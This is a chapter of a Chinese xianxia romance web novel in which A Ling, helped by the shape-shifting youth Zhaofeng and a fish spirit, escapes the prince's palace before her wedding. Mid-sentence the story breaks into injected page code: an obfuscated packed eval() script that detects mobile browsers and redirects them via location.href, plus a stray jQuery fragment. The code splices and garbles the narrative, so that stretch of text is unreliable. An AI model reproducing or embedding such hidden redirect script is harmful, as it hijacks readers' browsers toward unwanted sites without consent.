“今夜出来,就是为了问这些话?”
柔和的白光似轻轻颤了一下,对面的阿泠屏息凝神,试探性出声:“难道、不可以吗?”
压抑的气氛突然松开,殿下轻笑出声:“小阿泠能想明白这个道理,当真是长大了。”
“那你就好好回答我的问题。”阿泠追问道。
“你的确很特殊,我把你放在身边,也的确是为了保护你,至于说我对你有没有那个感情,现在说来为时尚早,我们的时间还长,阿泠总有一日会明白的。”
这是避而不谈的意思了。
太狡猾了。
阿泠再接再厉道:“夫妻本是同林鸟,大难临头各自飞。怀瑾哥哥,你会像那鱼妖的郎君一样,把我留下,就是为了做药引吗?”
她故作愚蠢问道。
怀瑾一顿,用力敲了敲她脑袋:“你就是这么看我的?你这个白眼狼!”
阿泠捂着脑袋痛呼:“看看看,还没成亲就对我不客气了!到时该怎么办啊,我不活啦……我的灯笼呢,说好给我的灯笼呢?不会被你趁乱丢了吧?”
阿泠趁机发飙,怀瑾却似习以为常,略一抬眼,远方密林深处出现一团光,光越靠越近,竟是小厮提着那盏灯上前来,阿泠赶忙跑上去,烛灯照得小厮的大白牙黄灿灿的,咧嘴道:“阿泠姑娘,殿下一直托小的保管呢。”
阿泠毫不客气接过花灯,抱在怀里像什么稀世珍宝,勉强对殿下有了好脸色:“好吧,你若能这般一直记得我的话,能让我想做什么就做什么,那还算爱我。”
怀瑾笑容一僵,狐疑道,“你这些邪说歪理从哪里学来的?”
当然是昭风教的。
嘴上却说:“书中读来。”
“看来得控制你看闲书了。”
阿泠恨得牙痒痒,不过也就这段时间了。忍耐,暂且忍耐。她抓着花灯,心想这一趟出来总算达成目的。
手下的花灯摇啊摇,阿泠回到自己的宫殿,送走那一尊大佛,确认四周无人,花灯晃了晃,眨眼变成少年的模样,正是昭风。
宫殿门忽然吱呀一声,进来的竟是那白天的侍女:“恩人,你们终于回来了!”
摇身一变,竟变成了一条鱼躺在阿泠掌心,嘴巴一张一合道,“恩人放心,这周围都被我看得死死的,绝对没有其他密探。”
竟是那故事中已经死掉的妻子鱼妖,这究竟是怎么回事呢?
原来,侍女带鱼妖来找阿泠之后,阿泠让他们带着信物在皇城等到了昭风,昭风的治疗让鱼妖彻底恢复如初,姐妹俩便将他们视为作恩人,长期为他们传递消息。
因此有了今日之局。
被投入河里的死鱼也是他们计划的一环,以人群暴动为始,目的就是要引走殿下的注意,不让她往深里探查那“花灯”的真面目——昭风虽有法子扮作死物,可难保当过神仙的殿下有什么特殊能力窥见物体真身,因此鱼妖自告奋勇用这法子扮成侍女在殿下面前晃悠了几天,确定不出问题,才有了今日的举动。
这一切是昭风得出的主意。
之后都逃跑,用鱼妖的故事套殿下的话,却是阿泠自个儿发挥的。
她当真想知道殿下为什么这么做,可无论是问殿下,还是问昭风,都一副打马虎眼的样子。
她不够聪明,套的话果然也失败了。
好在人是成功给混进来了。昭风花大力气混进宫来,就是为了帮阿泠逃跑。而阿泠身上被殿下下的各种阵法法咒,昭风必须花时间,亲自在场研究才好。
只是要从灵魂生生剥出这些东西,阿泠很是受了一番折磨,然而每次被那些器物折磨得痛不欲生之时,少年似乎比她还更难受:“罢了罢了,下次再来。”
下次还有下次,她受一分疼,少年似受了百倍的痛,比她本人还要娇贵,这样下去什么时候才能彻底解决?
自觉皮糙肉厚的阿泠咬牙吼道:“不能停!你还想我多受一次折磨吗?速战速决!”
外边的鱼妖守着阵法,悄悄贴耳往里头听,不知道的还以为在生孩子呢。
鱼妖毕竟是当过人妇的,想的东西也更多,越发觉得里边这对欢喜冤家才是真正的有情人。
不过短短半旬相处,她便看的出来,那少年对阿泠姑娘的珍重。
能为一人哭而哭,为一人笑而笑的,是真正将对方放在了心上。
虽然少年和她自己一样是个妖怪,鱼妖自己吃过人性的苦,却不会对爱情失去希望,至少,她亲眼见过昭风这样赤忱的青年,而她自己从前也是这样,愿意为所爱之人献出真心。这样的真心不该被唾骂,而践踏这样真心的小人才需要得到惩戒。怪只能怪她遇错了人。
不做研究的日子也过得很快。
有人的时候,昭风就化作阿泠发上的簪子,无人的时候,他便化作人形,阿泠长阿泠短,明明是同样的宫殿,竟因一个人而绚丽缤纷起来。
有一次,昭风钻研完毕,一手撑起脑袋,眯一眯眼,便睡着了。阳光透过窗阁洒在他的乌黑的发边,打出温柔的轮廓,脸庞敛入阴影里,却不显得沉闷。许是印象中的少年从未露过颓丧之色,反而开朗又热情,微挑起的唇角又微微倾泄出他的不羁,并不似清秀面庞的显露出来的软弱可欺。就这样,阿泠居然看呆了。
直到日头斜着过昭风额顶,将他的背面照出通红的晚霞,昭风猛得一睁开眼,直直对上阿泠发呆的神态,眉毛微挑,立刻展臂捞过她,藏入内室的屏风之后。
与此同时,外头鱼妖扮做的侍女声音传来:“姑娘在小憩,有什么事让婢子代为传达。”
然后脚步声逐渐远去。
阿泠刚松口气,眼前便撞入一弯微翘的嘴角,阿泠心一紧,才意识到自己被少年半揽入怀,对方的呼吸轻轻扫过她的眉鬓,吹起心头一片涟漪。
少年的笑容渐深,阿泠的心跳化作懊恼,眉弯一竖,血气上头,拿那铁脑壳往前一磕。
哐。
“哎呦!”
两番动静同时响起,紧接着来的是破门之声:啪嗒。
“怎么回事?”鱼妖大喘着气,内室门被推开,“你们……”看见面前情景,鱼妖下意识闭声了。
在她对面,昭风一手捂着下巴,一手捂着后脑勺嘶嘶喊疼,阿泠呆呆愣愣回过头来。两张脸都红得十分精彩。
鱼妖只看了一眼,默默地嘘了声,将门重新上。
不过一刻钟,两人面色如常地走出来,问:“来人说了什么?”
“这是个意外。”
两道声音同时响起,又同时转头对上了眼,立刻又同时错开,仿佛对方的是个烫手的山芋,看一眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654486|177645||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就要被烫伤似的。
“这是意外吗?”她分明听到昭风嘟囔一句,阿泠已经接过她手中的册子看了。
阿泠自幼养在殿下身边,被逼着读了几年书,看个信当然难不倒她。
“计划打乱,婚期提前了。”阿泠脸色一下沉重起来。
这段日子,殿下很忙,忙着处理神魔大战的各种事宜,还要解决皇家四起的谣言——人皇有意重立十二皇子为接班人。
谣言并非空穴来风。
大殿下虽以为“继承人”的身份上神界学习了千年,却在前不久被“退”了回来,人皇因此大发雷霆,觉得自己丢了面子,并对此儿能力表示怀疑。
雪上加霜的是,在大殿下离开的千年间,十二皇子项怀元能力出众,干下许多功迹,深得人皇之心,朝野上下也对其有口皆碑。这些是脱离群众到天上去的大殿下所没有的,民心所向,一目了然。
十二皇子野心勃勃,处处给殿下使绊子,朝堂局势越发紧张起来。怀瑾殿下忙于处理这些琐事,这才让没空管阿泠的事。叫他们逍遥了这些时日,接下来却不能够了。
时日无多,他们要趁着这场乱局,彻底逃离这座皇宫囚牢。
等阿泠身上的禁制被彻底消除,他们的计划也安排妥当,便已逼至婚礼前一日。
婚前新郎新娘不得相见的规矩,正好给了他们可乘之机。当天傍晚里,阿泠扮作婢女下值出宫,周身平平无奇的凡人模样,左手却缠了条鱼妖,右手又缠一条藤,宫殿里做了个假人在睡觉。
一切准备妥当,出宫出得如从前那般顺利,阿泠还有些忐忑,直到真的走出皇城,离皇都极远了,都没有一个追兵赶来,阿泠才恍然惊觉:她真的自由了。
鱼妖决定彻底斩断过往,回归河流,重新变成一尾自由自在的鱼,拥抱新的未来。
那她呢?
茫茫天地,云海辽阔,逃出那片囚牢,一时间竟不知何去何从。
这时,她看到身边的昭风。昭风望着她,似乎在等她开口。
阿泠恍然想起最初对昭风许下的承诺。当时只随意抓了一根浮萍,并未想过这条浮萍真的撑着起了她,达成所愿。
那她承诺的豪宅和金银珠宝该怎么办?她哪里凭空变出来这些东西,当初的空口套白狼,如今算栽自己手上了。
她后知后觉心虚起来:“这、这,你再等我三五年,等我攒够了钱,一定把你的豪宅补起来……”
昭风唇角微勾:“其他没有,先兑现那美婢怎样?”
阿泠苦恼道:“可是,我哪来银子去买……我?”
她后知后觉指着自己,见对方只望着她,不说话,恼羞之余开始别扭起来,底线步步退让:“当了侍从那可就没有时间去赚钱了,何时才能补回那些……”
“其他都没关系,我只要你。”
直白热烈的眼神,将阿泠接下来的话咽回了喉咙,脸刷一下红了,长睫轻颤:“你你你你你……”磕磕巴巴手忙脚乱不知所措。
噗嗤一声,昭风笑了,伸手扒了扒她的脑袋:“阿泠怎就这么可爱呢?”
脸颊越来越鼓,再逗就气炸了,昭风抚抚她额前的碎发,难得温柔:“我不需要任何回报。阿泠,若没有地方去,就和我回家吧。”
阿泠无措抬眼:“……回家?”